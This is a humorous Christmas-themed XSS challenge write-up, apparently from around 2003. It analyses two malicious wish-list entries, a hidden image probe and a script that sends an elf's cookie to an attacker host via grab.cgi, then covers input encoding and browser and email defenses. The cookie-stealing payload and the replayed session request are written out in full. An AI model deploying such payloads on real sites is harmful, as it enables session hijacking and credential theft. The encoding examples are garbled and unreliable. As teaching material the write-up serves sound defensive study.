Rudolph's XSS Christmas - by Jay Swofford
Key Data Points:
=====================================================
Submission 1:
<IMG ID="Picture" HEIGHT=0 WIDTH=0
SRC="http://www.bumblesnowmonster.com/Sample.jpg"
BORDER=0>
Submission 2:
<script>document.location='http://www.bumblesnowmonster.com/cgi-bin/grab.cgi?'+document.cookie</script>
Children fill out HTML form to submit wishes.
Elves use an administrative session to view submitted
data.
Elves have access to a second site showing
naughty-and-nice ratings. This site is linked to the
wish list display. This display gives the elf the
ability to automatically fill orders, based on rating.
Elves are using cookies, most likely, to maintain
authentication while browsing the site. The
authentication mechanism is simultaneously valid on
both applications.
======================================================
1. What is the purpose of the first malicious wish
text, and how does it work?
This entry counts on the web application expecting a
plain text string. Essentially, if a child enters
"G.I. Joe with Kung-fu Grip" into the HTML form, then
the elf sees ""G.I. Joe with Kung-fu Grip" on their
display.
This entry places HTML content into the form instead
of text. So the elf's browser would see "<IMG
ID="Picture" HEIGHT=0 WIDTH=0
SRC="
http://www.bumblesnowmonster.com/Sample.jpg"
BORDER=0>" but would display nothing. This HTML tag
places an image into the displayed page. However, our
naughty little child has forced the image display to
be zero pixels by zero pixels with no border (HEIGHT=0
WIDTH=0 BORDER=0). This renders the image invisible
to the elf. (Note the ID tag is meaningless in this
instance as it just names the object for reference
elsewhere) So what use is it?
The key to how it is used is in the source of the
image. The image being displayed is
"http://www.bumblesnowmonster.com/Sample.jpg". The
web logs at www.bumblesnowmonster.com
would have an
entry like:
0.43.10.6 - - [03/Nov/2003:10:02:31 -0000] "GET
/Sample.jpg HTTP/1.1" 200 290 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)"
The naughty little child now knows that the site is
susceptible to XSS scripting attacks, because the
elf's browser successfully requested the image. He
also learns that the North Pole network is run on the
top secret Class A zero subnet (the elf's browser or
Santa's NAT firewall was located at 0.43.10.6).
But Santa won't let Hermy and Rudolph move our child
to the naughty list yet, as maybe the child was just
trying to display an image from the
www.bumblesnowmonster.com toy catalog and didn't
understand what they were doing. Hermy and Rudolph
don't agree but keep investigating.
HTML Image Tag Reference:
http://www.w3schools.com/tags/tag_img.asp
Common Web Log File Format Reference:
http://www.webcom.com/help/reports/clog.shtml
2. What is the purpose of the second malicious wish
text, and how does it work?
Now that our child knows a valid attack vector, they
surmise that an elf or Santa must be able to view
these lists. They also know that cookies are often
used as authentication mechanisms and having an
administrator's cookie/authentication can work wonders
for the pile under the tree.
So our child enters the second entry into their wish
list:
<script>document.location='http://www.bumblesnowmonster.com/cgi-bin/grab.cgi?'+document.cookie</script>
The <script></script> HTML tag is used to create
dynamic web sites. Any code found within these tags
will be executed by the HTML interpreter (browser,
etc.) when the page is loaded.
The document.location is a javascript command. It sets
the URL of the current page to the specified URL. It
is equivalent to document.location.href. So when
this script executes, the URL of the current page will
become
'http://www.bumblesnowmonster.com/cgiin/grab.cgi?'+document.cookie
So now we see how the URL goes back to the same domain
as our image submitted earlier, but what's this cookie
stuff? Is he leaving the electronic equivalent of
milk and cookies for Santa? Rudolph and Hermy didn't
think that was right so they kept investigating.
Soon they learned that the '+' sign concatenates two
values into a single string. Then they learn that by
having the document.cookie outside the quotation
marks, it will not be part of the URL, but whatever
it's value is, will be. So what will it evaluate to?
It will evaluate to the cookie string being used by
the elf who is currently viewing the wish list page.
So the URL of the current page will be set to (based
on examining Hermy's cookie):
http://www.bumblesnowmonster.com/cgi-bin/grab.cgi?elfuser=hermy;+pwd=1h@t3t0ym@k1ng!;+admin=yes;
So now when our naughty little child uses grab.cgi to
capture the "variables" it was passed into a text file
(everything after the question mark in a URL is placed
into a variable container by the server software).
Now they have a cookie for elf-impersonation. They
then use Achilles, PERL or a similar tool to inject
this into the request as their own cookie for the
site. And they have full control (Buwahahahaha!!!!).
When the naughty child goes next to the Wish List site
at the Santa's Workshop Top Level Domain of .sw, the
HTTP request header has it's cookie variable set to
"elfuser=hermy;+pwd=1h@t3t0ym@k1ng!;+admin=yes;" which
would look like
GET /wishlist.html HTTP/1.1
Accept: */*
Referer: http://www.santaswishlist.sw/
Accept-Language: en-us
If-Modified-Since: Wed, 19 Mar 2003 16:42:08 GMT
If-None-Match: "72773e7b36eec21:b68"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1; .NET CLR 1.0.3705)
Host: www.santaswishlist.np
Proxy-Connection: Keep-Alive
Cookie: elfuser=hermy;+pwd=1h@t3t0ym@k1ng!;+admin=yes;
The returned page should now show what Hermy would see
including any links to the Elf internal Naughty N Nice
list.
At this point, Santa must notify all children in
California that their privacy may have been
compromised, per California SB 1386. However, if Hermy
and Rudolph can convince a law enforcement agency that
these notices would impede their investigation, then
Santa need not immediately notify the children.
However, if a law enforcement agency is contacted
Santa will first have to defend himself against
allegations of violating the Children's Online Privacy
Protection Act of 1998. Which prevents online sites
from collecting personal information from children
under the age of 13 without parental consent.
HTML Script Tag Reference:
http://www.w3schools.com/tags/tag_script.asp
Document.Location Reference:
http://wp.netscape.com/eng/mozilla/3.0/handbook/javascript/ref_h-l.htm#84722
Document.Cookie Reference:
~http://caucuscare.com/~roth/JAVASCRIPT/refp_79.htm
Achilles Reference:
http://www.mavensecurity.com/achilles
PERL Reference:
http://www.perl.org/
Children's Online Privacy Protection Act of 1998:
http://www.ftc.gov/ogc/coppa1.htm
3. How could Hermey and Rudolph thwart the first and
second types of attacks by altering the Web
application? Alternatively, how could they stop these
attacks by changing the configuration of the analyst
elves' browsers?
The best defense against XSS scripting attacks is
server-side validation of the user input. There are
numerous ways to do this depending on the software
used to create the site, as some software has built in
modules to handle XSS injection for you. But the best
ones screen for length (buffer overflow defense) and
allowable characters (XSS, SQL injection and other
attack vectors) and then drop everything else. Others
attempt to screen the bad and assume everything else
is good but that approach leaves them increasingly
open to new attacks. Whatever is chosen it must be
aware of UniCode inputs and other methods of
obfuscating the injected code.
At a minumum metacharacters (non-alpha and
non-numeric) should be eliminated. As the information
is displayed in an HTML page and we don't want to
elimate toys whose names include special characters,
we can replace key special characters with their HTML
equivalents. This effectively breaks the scripts but
prevents them from executing.
Submission 1:
<IMG ID="Picture" HEIGHT=0 WIDTH=0
SRC="
http://www.bumblesnowmonster.com/Sample.jpg"
BORDER=0>
Becomes:
<IMG ID="Picture" HEIGHT=0 WIDTH=0
SRC="http://www.bumblesnowmonster.com/Sample.jpg"
BORDER=0>
Submission 2:
<script>document.location='http://www.bumblesnowmonster.com/cgiin/grab.cgi?'+document.cookie</script>
Becomes:
<script>document.location='http://www.bumblesnowmonster.com/cgi-bin 7grab.cgi?'+document.cookie</script>
These have now been neutered as an attack vector the
the elf's browser will display them as they were
entered by the child and not execute them. Elves can
then go through training instructing them that any
wish list with these entries get automatically moved
to the naughty list.
In addition, changes can be made to the elves browsers
to increase security. As they are viewing HTML
applications, javascript and ActiveX can be turned off
through the security settings. Most browsers also
have built in security features, setting these to the
maximum level will dramatically decrease the risk.
Good XSS Reference (both offense and defense):
http://www.cgisecurity.com/articles/xss-faq.shtml
ISO-8859-1 Character Set:
http://www.htmlhelp.com/reference/charset/
4. Beyond these browser-based attacks, Hermey was also
concerned about attackers submitting similar elements
in children's wish lists submitted via e-mail. What
are two different methods for defeating such attacks
by altering an e-mail reader's configuration?
Hermy is one smart elf! Many sites have been taken
down over the years by admins who fortified the front
door and forgot to close the back one. One method is
to force your email program to read all email in plain
text. This eliminates the risk as HTML is no longer
executed by your email reader.
Another method is to adjust your mail program to use
higher security. Microsoft Outlook can be configured
to use the Internet Explorer Internet or Restricted
Sites Zone. By setting the Internet Zone to high, all
emails from this zone will be prevented from running
active content.
=====
Friends of the Oregon Caves
http://www.oregoncaves.org
|
|
